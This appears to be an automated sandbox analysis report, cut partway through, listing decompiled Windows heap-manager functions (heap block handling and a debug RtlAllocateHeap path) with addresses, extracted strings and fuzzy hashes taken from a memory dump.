											_t404 =  *[fs:0x30];
											__eflags =  *(_t404 + 0xc);
											if( *(_t404 + 0xc) == 0) {
												_push("HEAP: ");
												E012BB150();
											} else {
												E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
											}
											_push("((LONG)FreeEntry->Size > 1)");
											E012BB150();
											_pop(_t491);
											__eflags =  *0x13a7bc8 - _t449; // 0x0
											if(__eflags == 0) {
												__eflags = 0;
												_t491 = 1;
												E01372073(_t449, 1, _t541, 0);
											}
											_t533 = _v32;
										}
									}
									_t533[1] = _t449;
									__eflags =  *((intOrPtr*)(_t541 + 0x18)) - _t541;
									if( *((intOrPtr*)(_t541 + 0x18)) != _t541) {
										_t402 = (_t533 - _t541 >> 0x10) + 1;
										_v16 = _t402;
										__eflags = _t402 - 0xfe;
										if(_t402 >= 0xfe) {
											_push(_t491);
											_push(_t449);
											E0137A80D( *((intOrPtr*)(_t541 + 0x18)), 3, _t533, _t541);
											_t533 = _v48;
											_t402 = _v32;
										}
										_t449 = _t402;
									}
									_t533[3] = _t449;
									E012DA830(_t553, _t533,  *_t533 & 0x0000ffff);
									_t447 = 0x7ffe0380;
								}
							}
							_t367 = E012D7D50();
							__eflags = _t367;
							if(_t367 != 0) {
								_t370 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t370 = _t447;
							}
							__eflags =  *_t370;
							if( *_t370 != 0) {
								_t371 =  *[fs:0x30];
								__eflags =  *(_t371 + 0x240) & 1;
								if(( *(_t371 + 0x240) & 1) != 0) {
									__eflags = E012D7D50();
									if(__eflags != 0) {
										_t447 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									E01371411(_t447, _t553, _v44, __eflags, _v52,  *(_t553 + 0x74) << 3, _v40, _v36,  *_t447 & 0x000000ff);
								}
							}
							_t372 = E012D7D50();
							_t546 = 0x7ffe038a;
							_t446 = 0x230;
							__eflags = _t372;
							if(_t372 != 0) {
								_t246 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t246 = 0x7ffe038a;
							}
							__eflags =  *_t246;
							if( *_t246 == 0) {
								goto L7;
							} else {
								__eflags = E012D7D50();
								if(__eflags != 0) {
									_t546 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + _t446;
									__eflags = _t546;
								}
								_push( *_t546 & 0x000000ff);
								_push(_v36);
								_push(_v40);
								goto L120;
							}
						}
					} else {
						L19:
						_t31 = _t513 + 0x101f; // 0x101f
						_t455 = _t31 & 0xfffff000;
						_t32 = _t513 + 0x28; // 0x28
						_v44 = _t455;
						__eflags = _t455 - _t32;
						if(_t455 == _t32) {
							_t455 = _t455 + 0x1000;
							_v44 = _t455;
						}
						_t265 = _t445 << 3;
						_v24 = _t265;
						_t266 = _t265 + _t513;
						__eflags = _v40;
						_v20 = _t266;
						if(_v40 == 0) {
							_t266 = _t266 + 0xfffffff0;
							__eflags = _t266;
						}
						_t267 = _t266 & 0xfffff000;
						_v52 = _t267;
						__eflags = _t267 - _t455;
						if(_t267 < _t455) {
							__eflags =  *0x13a8748 - 1; // 0x0
							if(__eflags < 0) {
								L9:
								_t450 = _t553;
								L10:
								_push(_t445);
								goto L11;
							}
							__eflags = _v40;
							L146:
							if(__eflags == 0) {
								goto L9;
							}
							_t270 =  *[fs:0x30];
							__eflags =  *(_t270 + 0xc);
							if( *(_t270 + 0xc) == 0) {
								_push("HEAP: ");
								E012BB150();
							} else {
								E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("(!TrailingUCR)");
							E012BB150();
							__eflags =  *0x13a7bc8;
							if( *0x13a7bc8 == 0) {
								__eflags = 0;
								E01372073(_t445, 1, _t541, 0);
							}
							L152:
							_t445 = _a4;
							L153:
							_t513 = _v48;
							goto L9;
						}
						_v32 = _t267;
						_t280 = _t267 - _t455;
						_v32 = _v32 - _t455;
						__eflags = _a8;
						_t460 = _v32;
						_v52 = _t460;
						if(_a8 != 0) {
							L27:
							__eflags = _t280;
							if(_t280 == 0) {
								L33:
								_t446 = 0;
								__eflags = _v40;
								if(_v40 == 0) {
									_t468 = _v44 + _v52;
									_v36 = _t468;
									_t468[2] =  *((intOrPtr*)(_t553 + 0x54));
									__eflags = _v20 - _v52 + _v44;
									if(_v20 == _v52 + _v44) {
										__eflags =  *(_t553 + 0x4c);
										if( *(_t553 + 0x4c) != 0) {
											_t468[1] = _t468[1] ^ _t468[0] ^  *_t468;
											 *_t468 =  *_t468 ^  *(_t553 + 0x50);
										}
									} else {
										_t468[3] = 0;
										_t468[1] = 0;
										_t317 = _v24 - _v52 - _v44 + _t513 >> 0x00000003 & 0x0000ffff;
										_t521 = _t317;
										 *_t468 = _t317;
										__eflags =  *0x13a8748 - 1; // 0x0
										if(__eflags >= 0) {
											__eflags = _t521 - 1;
											if(_t521 <= 1) {
												_t327 =  *[fs:0x30];
												__eflags =  *(_t327 + 0xc);
												if( *(_t327 + 0xc) == 0) {
													_push("HEAP: ");
													E012BB150();
												} else {
													E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
												}
												_push("(LONG)FreeEntry->Size > 1");
												E012BB150();
												__eflags =  *0x13a7bc8 - _t446; // 0x0
												if(__eflags == 0) {
													__eflags = 1;
													E01372073(_t446, 1, _t541, 1);
												}
												_t468 = _v36;
											}
										}
										_t468[1] = _t446;
										_t522 =  *((intOrPtr*)(_t541 + 0x18));
										__eflags =  *((intOrPtr*)(_t541 + 0x18)) - _t541;
										if( *((intOrPtr*)(_t541 + 0x18)) == _t541) {
											_t320 = _t446;
										} else {
											_t320 = (_t468 - _t541 >> 0x10) + 1;
											_v12 = _t320;
											__eflags = _t320 - 0xfe;
											if(_t320 >= 0xfe) {
												_push(_t468);
												_push(_t446);
												E0137A80D(_t522, 3, _t468, _t541);
												_t468 = _v52;
												_t320 = _v28;
											}
										}
										_t468[3] = _t320;
										E012DA830(_t553, _t468,  *_t468 & 0x0000ffff);
									}
								}
								E012DB73D(_t553, _t541, _v44 + 0xffffffe8, _v52, _v48,  &_v8);
								E012DA830(_t553, _v64, _v24);
								_t286 = E012D7D50();
								_t542 = 0x7ffe0380;
								__eflags = _t286;
								if(_t286 != 0) {
									_t289 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								} else {
									_t289 = 0x7ffe0380;
								}
								__eflags =  *_t289;
								if( *_t289 != 0) {
									_t290 =  *[fs:0x30];
									__eflags =  *(_t290 + 0x240) & 1;
									if(( *(_t290 + 0x240) & 1) != 0) {
										__eflags = E012D7D50();
										if(__eflags != 0) {
											_t542 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
											__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										}
										E01371411(_t446, _t553, _v44, __eflags, _v52,  *(_t553 + 0x74) << 3, _t446, _t446,  *_t542 & 0x000000ff);
									}
								}
								_t291 = E012D7D50();
								_t543 = 0x7ffe038a;
								__eflags = _t291;
								if(_t291 != 0) {
									_t246 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
								} else {
									_t246 = 0x7ffe038a;
								}
								__eflags =  *_t246;
								if( *_t246 != 0) {
									__eflags = E012D7D50();
									if(__eflags != 0) {
										_t543 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
										__eflags = _t543;
									}
									_push( *_t543 & 0x000000ff);
									_push(_t446);
									_push(_t446);
									L120:
									_push( *(_t553 + 0x74) << 3);
									_push(_v52);
									_t246 = E01371411(_t446, _t553, _v44, __eflags);
								}
								goto L7;
							}
							 *((intOrPtr*)(_t553 + 0x200)) =  *((intOrPtr*)(_t553 + 0x200)) + 1;
							_t339 = E012E174B( &_v44,  &_v52, 0x4000);
							__eflags = _t339;
							if(_t339 < 0) {
								L94:
								 *((intOrPtr*)(_t553 + 0x210)) =  *((intOrPtr*)(_t553 + 0x210)) + 1;
								__eflags = _v40;
								if(_v40 == 0) {
									goto L153;
								}
								E012DB73D(_t553, _t541, _v28 + 0xffffffe8, _v36, _v48,  &_a4);
								goto L152;
							}
							_t344 = E012D7D50();
							__eflags = _t344;
							if(_t344 != 0) {
								_t347 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t347 = 0x7ffe0380;
							}
							__eflags =  *_t347;
							if( *_t347 != 0) {
								_t348 =  *[fs:0x30];
								__eflags =  *(_t348 + 0x240) & 1;
								if(( *(_t348 + 0x240) & 1) != 0) {
									E013714FB(_t445, _t553, _v44, _v52, 6);
								}
							}
							_t513 = _v48;
							goto L33;
						}
						__eflags =  *_v12 - 3;
						_t513 = _v48;
						if( *_v12 == 3) {
							goto L27;
						}
						__eflags = _t460;
						if(_t460 == 0) {
							goto L9;
						}
						__eflags = _t460 -  *((intOrPtr*)(_t553 + 0x6c));
						if(_t460 <  *((intOrPtr*)(_t553 + 0x6c))) {
							goto L9;
						}
						goto L27;
					}
				}
				_t445 = _a4;
				if(_t445 <  *((intOrPtr*)(__ecx + 0x6c))) {
					_t513 = __edx;
					goto L10;
				}
				_t433 =  *((intOrPtr*)(__ecx + 0x74)) + _t445;
				_v20 = _t433;
				if(_t433 <  *((intOrPtr*)(__ecx + 0x70)) || _v20 <  *(__ecx + 0x1e8) >>  *((intOrPtr*)(__ecx + 0x240)) + 3) {
					_t513 = _t539;
					goto L9;
				} else {
					_t437 = E012D99BF(__ecx, __edx,  &_a4, 0);
					_t445 = _a4;
					_t514 = _t437;
					_v56 = _t514;
					if(_t445 - 0x201 > 0xfbff) {
						goto L14;
					} else {
						E012DA830(__ecx, _t514, _t445);
						_t506 =  *(_t553 + 0x238);
						_t551 =  *((intOrPtr*)(_t553 + 0x1e8)) - ( *(_t553 + 0x74) << 3);
						_t246 = _t506 >> 4;
						if(_t551 < _t506 - _t246) {
							_t508 =  *(_t553 + 0x23c);
							_t246 = _t508 >> 2;
							__eflags = _t551 - _t508 - _t246;
							if(_t551 > _t508 - _t246) {
								_t246 = E012EABD8(_t553);
								 *(_t553 + 0x23c) = _t551;
								 *(_t553 + 0x238) = _t551;
							}
						}
						goto L7;
					}
				}
			}

0x012da309
0x012da316
0x012da319
0x012da31d
0x012da32d
0x012da331
0x01321e0d
0x01321e10
0x012da3cb
0x012da3cb
0x012da3bd
0x012da3c3
0x012da3c3
0x012da33a
0x01321e17
0x01321e1b
0x01321e1d
0x01321e2f
0x01321e34
0x01321e36
0x01321e3c
0x01321e3c
0x01321e3c
0x01321e3c
0x01321e36
0x01321e42
0x01321e45
0x01321e47
0x012da3f8
0x012da3f8
0x012da3fb
0x012da3fd
0x01321e50
0x012da403
0x012da411
0x012da411
0x012da411
0x012da41e
0x012da420
0x012da424
0x012da427
0x012da7c9
0x012da7cd
0x012da7d2
0x012da7d9
0x012da7e0
0x012da7e3
0x012da7ed
0x012da7f3
0x012da7f9
0x012da7ff
0x012da802
0x012da807
0x012da809
0x012da809
0x012da809
0x012da80f
0x012da80f
0x012da812
0x012da81c
0x012da821
0x012da824
0x012da42d
0x012da42d
0x012da42d
0x012da42d
0x012da42d
0x012da436
0x012da43a
0x012da609
0x012da60d
0x012da612
0x012da616
0x012da61a
0x01321e57
0x01321e59
0x00000000
0x00000000
0x01321e5f
0x012da620
0x012da627
0x01321e64
0x01321e66
0x01321e6c
0x01321e72
0x01321e76
0x01321e95
0x01321e9a
0x01321e78
0x01321e8d
0x01321e92
0x01321ea0
0x01321ea5
0x01321eaa
0x01321eb2
0x01321eb6
0x01321eb9
0x01321eb9
0x01321ebe
0x01321ec2
0x01321ec2
0x01321e66
0x012da62d
0x012da633
0x012da636
0x012da63a
0x012da63c
0x012da640
0x012da642
0x012da644
0x012da644
0x012da644
0x012da64d
0x012da64d
0x012da651
0x012da655
0x01321eca
0x01321ed1
0x00000000
0x00000000
0x01321ed7
0x00000000
0x012da65b
0x012da669
0x012da66e
0x012da670
0x00000000
0x00000000
0x012da676
0x012da67b
0x012da680
0x012da682
0x01321f1a
0x012da688
0x012da688
0x012da688
0x012da68a
0x012da68d
0x01321f24
0x01321f2a
0x01321f31
0x01321f43
0x01321f43
0x01321f31
0x012da693
0x012da697
0x012da69d
0x012da6a0
0x012da6a6
0x012da6a8
0x012da6a8
0x012da6a8
0x012da6a8
0x012da6b2
0x012da6b7
0x012da6c1
0x012da6c6
0x012da6d2
0x012da6d9
0x012da6e3
0x012da6e6
0x012da6eb
0x012da6ed
0x012da6ed
0x012da6ed
0x012da6ed
0x012da6f3
0x012da6f8
0x012da702
0x012da70a
0x012da70e
0x012da71a
0x012da71e
0x01321fcb
0x01321fcf
0x01321fdd
0x01321fe3
0x01321fe3
0x012da724
0x012da728
0x012da72a
0x012da72d
0x012da737
0x012da73a
0x012da73c
0x012da742
0x012da748
0x01321f4d
0x01321f50
0x01321f56
0x01321f5c
0x01321f5f
0x01321f7e
0x01321f83
0x01321f61
0x01321f76
0x01321f7b
0x01321f89
0x01321f8e
0x01321f93
0x01321f94
0x01321f9a
0x01321f9c
0x01321f9e
0x01321fa1
0x01321fa1
0x01321fa6
0x01321fa6
0x01321f50
0x012da74e
0x012da751
0x012da754
0x012da75d
0x012da75e
0x012da762
0x012da767
0x01321faf
0x01321fb0
0x01321fb9
0x01321fbe
0x01321fc2
0x01321fc2
0x012da76d
0x012da76d
0x012da775
0x012da778
0x012da77d
0x012da77d
0x012da71e
0x012da782
0x012da787
0x012da789
0x01321ff3
0x012da78f
0x012da78f
0x012da78f
0x012da791
0x012da794
0x01321ffd
0x01322006
0x0132200c
0x01322017
0x01322019
0x01322024
0x01322024
0x01322024
0x01322047
0x01322047
0x0132200c
0x012da79a
0x012da79f
0x012da7a4
0x012da7a9
0x012da7ab
0x0132205a
0x012da7b1
0x012da7b1
0x012da7b1
0x012da7b3
0x012da7b6
0x00000000
0x012da7bc
0x01322066
0x01322068
0x01322073
0x01322073
0x01322073
0x01322078
0x01322079
0x0132207d
0x00000000
0x0132207d
0x012da7b6
0x012da440
0x012da440
0x012da440
0x012da446
0x012da44c
0x012da44f
0x012da453
0x012da455
0x013220b3
0x013220b9
0x013220b9
0x012da45d
0x012da460
0x012da464
0x012da466
0x012da46b
0x012da46f
0x012da471
0x012da471
0x012da471
0x012da474
0x012da479
0x012da47d
0x012da47f
0x01322229
0x0132222f
0x012da3c8
0x012da3c8
0x012da3ca
0x012da3ca
0x00000000
0x012da3ca
0x01322235
0x0132223a
0x0132223a
0x00000000
0x00000000
0x01322240
0x01322246
0x0132224a
0x01322269
0x0132226e
0x0132224c
0x01322261
0x01322266
0x01322274
0x01322279
0x0132227e
0x01322286
0x01322288
0x0132228d
0x0132228d
0x01322292
0x01322292
0x01322295
0x01322295
0x00000000
0x01322295
0x012da485
0x012da489
0x012da48b
0x012da48f
0x012da493
0x012da497
0x012da49b
0x012da4bb
0x012da4bb
0x012da4bd
0x012da4ff
0x012da4ff
0x012da501
0x012da505
0x012da50f
0x012da517
0x012da51b
0x012da527
0x012da52b
0x01322182
0x01322185
0x01322193
0x01322199
0x01322199
0x012da531
0x012da535
0x012da538
0x012da548
0x012da54b
0x012da54d
0x012da553
0x012da559
0x01322100
0x01322103
0x01322109
0x0132210f
0x01322112
0x01322131
0x01322136
0x01322114
0x01322129
0x0132212e
0x0132213c
0x01322141
0x01322147
0x0132214d
0x01322151
0x01322154
0x01322154
0x01322159
0x01322159
0x01322103
0x012da55f
0x012da562
0x012da565
0x012da567
0x01322162
0x012da56d
0x012da574
0x012da575
0x012da579
0x012da57e
0x01322169
0x0132216a
0x01322170
0x01322175
0x01322179
0x01322179
0x012da57e
0x012da584
0x012da58f
0x012da58f
0x012da52b
0x012da5ad
0x012da5bc
0x012da5c1
0x012da5c6
0x012da5cb
0x012da5cd
0x013221a9
0x012da5d3
0x012da5d3
0x012da5d3
0x012da5d5
0x012da5d8
0x013221b3
0x013221bc
0x013221c2
0x013221cd
0x013221cf
0x013221da
0x013221da
0x013221da
0x013221f7
0x013221f7
0x013221c2
0x012da5de
0x012da5e3
0x012da5e8
0x012da5ea
0x0132220a
0x012da5f0
0x012da5f0
0x012da5f0
0x012da5f2
0x012da5f5
0x01322219
0x0132221b
0x0132208c
0x0132208c
0x0132208c
0x01322095
0x01322096
0x01322097
0x01322098
0x013220a4
0x013220a5
0x013220a9
0x013220a9
0x00000000
0x012da5f5
0x012da4bf
0x012da4d3
0x012da4d8
0x012da4da
0x01321ede
0x01321ede
0x01321ee4
0x01321ee9
0x00000000
0x00000000
0x01321f07
0x00000000
0x01321f07
0x012da4e0
0x012da4e5
0x012da4e7
0x013220cb
0x012da4ed
0x012da4ed
0x012da4ed
0x012da4f2
0x012da4f5
0x013220d5
0x013220de
0x013220e4
0x013220f6
0x013220f6
0x013220e4
0x012da4fb
0x00000000
0x012da4fb
0x012da4a1
0x012da4a4
0x012da4a8
0x00000000
0x00000000
0x012da4aa
0x012da4ac
0x00000000
0x00000000
0x012da4b2
0x012da4b5
0x00000000
0x00000000
0x00000000
0x012da4b5
0x012da43a
0x012da340
0x012da346
0x012da600
0x00000000
0x012da600
0x012da34f
0x012da351
0x012da358
0x012da3c6
0x00000000
0x012da371
0x012da37a
0x012da37f
0x012da382
0x012da384
0x012da394
0x00000000
0x012da396
0x012da399
0x012da3a7
0x012da3b0
0x012da3b4
0x012da3bb
0x012da3d2
0x012da3da
0x012da3df
0x012da3e1
0x012da3e5
0x012da3ea
0x012da3f0
0x012da3f0
0x012da3e1
0x00000000
0x012da3bb
0x012da394

Strings

(UCRBlock != NULL), xrefs: 01321EA0
HEAP: , xrefs: 01321E95, 01321F7E, 01322131, 01322269
((LONG)FreeEntry->Size > 1), xrefs: 01321F89
(LONG)FreeEntry->Size > 1, xrefs: 0132213C
HEAP[%wZ]: , xrefs: 01321E88, 01321F71, 01322124, 0132225C
(!TrailingUCR), xrefs: 01322274

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-523794902
Opcode ID: e1b058ffb7fdf25e083f369279351553cfefba00f3e91ae23babdbd3e8f4db16
Instruction ID: 8121f93d34bf535f06c7d38246f806492474c6b6e6c54a081577ce10abc580cf
Opcode Fuzzy Hash: e1b058ffb7fdf25e083f369279351553cfefba00f3e91ae23babdbd3e8f4db16
Instruction Fuzzy Hash: FC42FF316283829FD715DF28C884B2BBBE5FF98708F04496DE5868B352D778D981CB52

Uniqueness

Uniqueness Score: -1.00%

Function 01372D82, Relevance: 7.7, Strings: 6, Instructions: 228
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E01372D82(void* __ebx, intOrPtr* __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t83;
				signed char _t89;
				intOrPtr _t90;
				signed char _t101;
				signed int _t102;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				intOrPtr _t108;
				intOrPtr _t112;
				short* _t130;
				short _t131;
				signed int _t148;
				intOrPtr _t149;
				signed int* _t154;
				short* _t165;
				signed int _t171;
				void* _t182;

				_push(0x44);
				_push(0x1390e80);
				E0130D0E8(__ebx, __edi, __esi);
				_t177 = __edx;
				_t181 = __ecx;
				 *((intOrPtr*)(_t182 - 0x44)) = __ecx;
				 *((char*)(_t182 - 0x1d)) = 0;
				 *(_t182 - 0x24) = 0;
				if(( *(__ecx + 0x44) & 0x01000000) == 0) {
					 *((intOrPtr*)(_t182 - 4)) = 0;
					 *((intOrPtr*)(_t182 - 4)) = 1;
					_t83 = E012B40E1("RtlAllocateHeap");
					__eflags = _t83;
					if(_t83 == 0) {
						L48:
						 *(_t182 - 0x24) = 0;
						L49:
						 *((intOrPtr*)(_t182 - 4)) = 0;
						 *((intOrPtr*)(_t182 - 4)) = 0xfffffffe;
						E013730C4();
						goto L50;
					}
					_t89 =  *(__ecx + 0x44) | __edx | 0x10000100;
					 *(_t182 - 0x28) = _t89;
					 *(_t182 - 0x3c) = _t89;
					_t177 =  *(_t182 + 8);
					__eflags = _t177;
					if(_t177 == 0) {
						_t171 = 1;
						__eflags = 1;
					} else {
						_t171 = _t177;
					}
					_t148 =  *((intOrPtr*)(_t181 + 0x94)) + _t171 &  *(_t181 + 0x98);
					__eflags = _t148 - 0x10;
					if(_t148 < 0x10) {
						_t148 = 0x10;
					}
					_t149 = _t148 + 8;
					 *((intOrPtr*)(_t182 - 0x48)) = _t149;
					__eflags = _t149 - _t177;
					if(_t149 < _t177) {
						L44:
						_t90 =  *[fs:0x30];
						__eflags =  *(_t90 + 0xc);
						if( *(_t90 + 0xc) == 0) {
							_push("HEAP: ");
							E012BB150();
						} else {
							E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push( *((intOrPtr*)(_t181 + 0x78)));
						E012BB150("Invalid allocation size - %Ix (exceeded %Ix)\n", _t177);
						goto L48;
					} else {
						__eflags = _t149 -  *((intOrPtr*)(_t181 + 0x78));
						if(_t149 >  *((intOrPtr*)(_t181 + 0x78))) {
							goto L44;
						}
						__eflags = _t89 & 0x00000001;
						if((_t89 & 0x00000001) != 0) {
							_t178 =  *(_t182 - 0x28);
						} else {
							E012CEEF0( *((intOrPtr*)(_t181 + 0xc8)));
							 *((char*)(_t182 - 0x1d)) = 1;
							_t178 =  *(_t182 - 0x28) | 0x00000001;
							 *(_t182 - 0x3c) =  *(_t182 - 0x28) | 0x00000001;
						}
						E01374496(_t181, 0);
						_t177 = L012D4620(_t181, _t181, _t178,  *(_t182 + 8));
						 *(_t182 - 0x24) = _t177;
						_t173 = 1;
						E013749A4(_t181);
						__eflags = _t177;
						if(_t177 == 0) {
							goto L49;
						} else {
							_t177 = _t177 + 0xfffffff8;
							__eflags =  *((char*)(_t177 + 7)) - 5;
							if( *((char*)(_t177 + 7)) == 5) {
								_t177 = _t177 - (( *(_t177 + 6) & 0x000000ff) << 3);
								__eflags = _t177;
							}
							_t154 = _t177;
							 *(_t182 - 0x40) = _t177;
							__eflags =  *(_t181 + 0x4c);
							if( *(_t181 + 0x4c) != 0) {
								 *_t177 =  *_t177 ^  *(_t181 + 0x50);
								__eflags =  *(_t177 + 3) - (_t154[0] ^ _t154[0] ^  *_t154);
								if(__eflags != 0) {
									_push(_t154);
									_t173 = _t177;
									E0136FA2B(0, _t181, _t177, _t177, _t181, __eflags);
								}
							}
							__eflags =  *(_t177 + 2) & 0x00000002;
							if(( *(_t177 + 2) & 0x00000002) == 0) {
								_t101 =  *(_t177 + 3);
								 *(_t182 - 0x29) = _t101;
								_t102 = _t101 & 0x000000ff;
							} else {
								_t130 = E012B1F5B(_t177);
								 *((intOrPtr*)(_t182 - 0x30)) = _t130;
								__eflags =  *(_t181 + 0x40) & 0x08000000;
								if(( *(_t181 + 0x40) & 0x08000000) == 0) {
									 *_t130 = 0;
								} else {
									_t131 = E012E16C7(1, _t173);
									_t165 =  *((intOrPtr*)(_t182 - 0x30));
									 *_t165 = _t131;
									_t130 = _t165;
								}
								_t102 =  *(_t130 + 2) & 0x0000ffff;
							}
							 *(_t182 - 0x34) = _t102;
							 *(_t182 - 0x28) = _t102;
							__eflags =  *(_t181 + 0x4c);
							if( *(_t181 + 0x4c) != 0) {
								 *(_t177 + 3) =  *(_t177 + 2) ^  *(_t177 + 1) ^  *_t177;
								 *_t177 =  *_t177 ^  *(_t181 + 0x50);
								__eflags =  *_t177;
							}
							__eflags =  *(_t181 + 0x40) & 0x20000000;
							if(( *(_t181 + 0x40) & 0x20000000) != 0) {
								__eflags = 0;
								E01374496(_t181, 0);
							}
							__eflags =  *(_t182 - 0x24) -  *0x13a6360; // 0x0
							_t104 =  *[fs:0x30];
							if(__eflags != 0) {
								_t105 =  *(_t104 + 0x68);
								 *(_t182 - 0x4c) = _t105;
								__eflags = _t105 & 0x00000800;
								if((_t105 & 0x00000800) == 0) {
									goto L49;
								}
								_t106 =  *(_t182 - 0x34);
								__eflags = _t106;
								if(_t106 == 0) {
									goto L49;
								}
								__eflags = _t106 -  *0x13a6364; // 0x0
								if(__eflags != 0) {
									goto L49;
								}
								__eflags =  *((intOrPtr*)(_t181 + 0x7c)) -  *0x13a6366; // 0x0
								if(__eflags != 0) {
									goto L49;
								}
								_t108 =  *[fs:0x30];
								__eflags =  *(_t108 + 0xc);
								if( *(_t108 + 0xc) == 0) {
									_push("HEAP: ");
									E012BB150();
								} else {
									E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(E0135D455(_t181,  *(_t182 - 0x28)));
								_push( *(_t182 + 8));
								E012BB150("Just allocated block at %p for 0x%Ix bytes with tag %ws\n",  *(_t182 - 0x24));
								goto L34;
							} else {
								__eflags =  *(_t104 + 0xc);
								if( *(_t104 + 0xc) == 0) {
									_push("HEAP: ");
									E012BB150();
								} else {
									E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push( *(_t182 + 8));
								E012BB150("Just allocated block at %p for %Ix bytes\n",  *0x13a6360);
								L34:
								_t112 =  *[fs:0x30];
								__eflags =  *((char*)(_t112 + 2));
								if( *((char*)(_t112 + 2)) != 0) {
									 *0x13a6378 = 1;
									 *0x13a60c0 = 0;
									asm("int3");
									 *0x13a6378 = 0;
								}
								goto L49;
							}
						}
					}
				} else {
					_t181 =  *0x13a5708; // 0x0
					 *0x13ab1e0(__ecx, __edx,  *(_t182 + 8));
					 *_t181();
					L50:
					return E0130D130(0, _t177, _t181);
				}
			}

0x01372d82
0x01372d84
0x01372d89
0x01372d8e
0x01372d90
0x01372d92
0x01372d97
0x01372d9a
0x01372da4
0x01372dc0
0x01372dc3
0x01372dd1
0x01372dd6
0x01372dd8
0x013730a7
0x013730a7
0x013730aa
0x013730aa
0x013730ad
0x013730b4
0x00000000
0x013730b9
0x01372de3
0x01372de8
0x01372deb
0x01372dee
0x01372df1
0x01372df3
0x01372dfb
0x01372dfb
0x01372df5
0x01372df5
0x01372df5
0x01372e04
0x01372e0a
0x01372e0d
0x01372e11
0x01372e11
0x01372e12
0x01372e15
0x01372e18
0x01372e1a
0x01373027
0x01373027
0x0137302d
0x01373030
0x0137304f
0x01373054
0x01373032
0x01373047
0x0137304c
0x0137305a
0x01373063
0x00000000
0x01372e20
0x01372e20
0x01372e23
0x00000000
0x00000000
0x01372e29
0x01372e2b
0x01372e47
0x01372e2d
0x01372e33
0x01372e38
0x01372e3f
0x01372e42
0x01372e42
0x01372e4e
0x01372e5d
0x01372e5f
0x01372e62
0x01372e66
0x01372e6b
0x01372e6d
0x00000000
0x01372e73
0x01372e73
0x01372e76
0x01372e7a
0x01372e83
0x01372e83
0x01372e83
0x01372e85
0x01372e87
0x01372e8a
0x01372e8d
0x01372e92
0x01372e9c
0x01372e9f
0x01372ea1
0x01372ea2
0x01372ea6
0x01372ea6
0x01372e9f
0x01372eab
0x01372eaf
0x01372edf
0x01372ee2
0x01372ee5
0x01372eb1
0x01372eb3
0x01372eb8
0x01372ebd
0x01372ec4
0x01372ed6
0x01372ec6
0x01372ec7
0x01372ecc
0x01372ecf
0x01372ed2
0x01372ed2
0x01372ed9
0x01372ed9
0x01372ee8
0x01372eeb
0x01372eef
0x01372ef2
0x01372efe
0x01372f04
0x01372f04
0x01372f04
0x01372f06
0x01372f0d
0x01372f0f
0x01372f13
0x01372f13
0x01372f1b
0x01372f21
0x01372f27
0x01372f95
0x01372f98
0x01372f9b
0x01372fa0
0x00000000
0x00000000
0x01372fa6
0x01372fa9
0x01372fac
0x00000000
0x00000000
0x01372fb2
0x01372fb9
0x00000000
0x00000000
0x01372fc3
0x01372fca
0x00000000
0x00000000
0x01372fd0
0x01372fd6
0x01372fd9
0x01372ff8
0x01372ffd
0x01372fdb
0x01372ff0
0x01372ff5
0x0137300e
0x0137300f
0x0137301a
0x00000000
0x01372f29
0x01372f29
0x01372f2c
0x01372f4b
0x01372f50
0x01372f2e
0x01372f43
0x01372f48
0x01372f56
0x01372f64
0x01372f6c
0x01372f6c
0x01372f72
0x01372f76
0x01372f7c
0x01372f83
0x01372f89
0x01372f8a
0x01372f8a
0x00000000
0x01372f76
0x01372f27
0x01372e6d
0x01372da6
0x01372dab
0x01372db3
0x01372db9
0x013730bc
0x013730c1
0x013730c1

Strings

HEAP: , xrefs: 01372F4B, 01372FF8, 0137304F
Just allocated block at %p for 0x%Ix bytes with tag %ws, xrefs: 01373015
Just allocated block at %p for %Ix bytes, xrefs: 01372F5F
HEAP[%wZ]: , xrefs: 01372F3E, 01372FEB, 01373042
RtlAllocateHeap, xrefs: 01372DCA
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 0137305E

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
API String ID: 0-1745908468
Opcode ID: b09ca34fa45334100e1e2faa4fd447e210618568dc63d74dbb801a1a21dfeee4
